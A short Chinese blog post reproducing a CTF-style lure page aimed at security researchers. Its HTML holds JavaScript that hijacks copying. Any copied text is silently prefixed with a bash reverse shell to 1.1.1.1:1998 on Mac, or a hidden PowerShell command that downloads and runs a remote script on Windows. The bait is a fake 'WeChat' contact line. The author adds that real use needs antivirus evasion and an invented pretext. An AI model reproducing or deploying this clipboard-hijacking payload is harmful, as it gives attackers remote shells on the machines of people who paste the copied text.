前言
昨晚公众号看的文章一道针对安全人员进行定向攻击的CTF题，满有意思的复现一波。
复现
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>about</title>
<script>
function addLink() {var body_element = document.body;var selection;selection = window.getSelection() ? window.getSelection() : document.selection.createRange().text;var u = navigator.userAgent, app = navigator.appVersion;if (u.indexOf('Mac') > -1) {var payload = '/bin/bash -c "bash -i >& /dev/tcp/1.1.1.1/1998 0>&1" </br>';} else {var payload = 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://1.1.1.1/3\'))"' + '</br>';}if (window.clipboardData) { // Internet Explorervar copyText = payload + selection;window.clipboardData.setData("Text", copyText);return false;} else {var copyText = payload + selection;var newDiv = document.createElement('div');newDiv.style.position = 'absolute';newDiv.style.left = '-99999px';body_element.appendChild(newDiv);newDiv.innerHTML = copyText;selection.selectAllChildren(newDiv);window.setTimeout(function () {body_element.removeChild(newDiv);}, 0);}
}
document.oncopy = addLink;
</script>
</head>
<body>
<h3>联系我</h3>
python -c "print("WeChat: "+b'\x01\x00\x02\x00\x09\x02')"
</body>
</html>
效果：
实战powershell需要做免杀，话术自己编。
